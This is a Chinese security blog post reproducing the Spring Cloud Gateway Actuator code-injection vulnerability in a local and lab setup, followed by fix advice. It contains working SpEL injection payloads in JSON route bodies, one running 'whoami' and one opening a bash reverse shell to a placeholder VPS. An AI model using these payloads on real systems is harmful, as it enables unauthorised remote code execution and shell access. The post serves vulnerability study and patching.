Spring Cloud Gateway远程代码执行漏洞

admin 2025年2月15日23:25:02评论8 views字数 1358阅读4分31秒阅读模式

漏洞描述:

当Spring Cloud Gateway启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。

漏洞影响的范围:

  • Spring Cloud Gateway < 3.1.1

  • Spring Cloud Gateway < 3.0.7

  • Spring Cloud Gateway 旧的、不受支持的版本也会受到影响

安全版本:

  • Spring Cloud Gateway >= 3.1.1

  • Spring Cloud Gateway >= 3.0.7

漏洞复现:

由于我是本地搭建环境,直接启动idea。

Spring Cloud Gateway远程代码执行漏洞

首先需要修改到漏洞存在的版本号,我修改到3.1.0版本,然后启动环境。

Spring Cloud Gateway远程代码执行漏洞

Spring Cloud Gateway远程代码执行漏洞

  1. 抓取数据包,GET请求/actuator/,查看是否开启actuator功能,列出路由接口信息。

  2. POST请求创建新路由路由,需添加一个Content-Type:application/json头。和如下代码:

{  "id": "htxj",  "filters": [{    "name": "AddResponseHeader",    "args": {      "name": "Result",      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}"    }  }],  "uri": "http://example.com"}

Spring Cloud Gateway远程代码执行漏洞

可以看到页面返回201,说明创建成功。

3.刷新路由器,手动添加一个参数,否则可能无法访问成功。页面返回200,说明已成功刷新路由。

Spring Cloud Gateway远程代码执行漏洞

4.GET方法请求,访问路由信息。这里需要将Content-Length头删除,才能成功。(由于我是执行whoami的命令所以我返回的是用户名)

Spring Cloud Gateway远程代码执行漏洞

反弹shell

由于本地是windows系统,后面反弹shell是vulfocus靶场

{  "id": "EchoSec",  "filters": [{    "name": "AddResponseHeader",    "args": {      "name": "Result",      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/vpsip/443 0>&1"}).getInputStream()))}"    }  }],  "uri": "http://example.com"}

Spring Cloud Gateway远程代码执行漏洞

然后刷新路由信息,就会反弹shell回来。不需要重新请求路由信息。

Spring Cloud Gateway远程代码执行漏洞

Spring Cloud Gateway远程代码执行漏洞

修复建议:

  • 3.1.x用户应升级到3.1.1+;

  • 3.0.x用户应升级到3.0.7+;

  • 如果不需要Actuator功能,可以通过management.endpoint.gateway.enable:false配置将其禁用。

原文始发于微信公众号(安全笔记):Spring Cloud Gateway远程代码执行漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日23:25:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Cloud Gateway远程代码执行漏洞https://cn-sec.com/archives/2493482.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息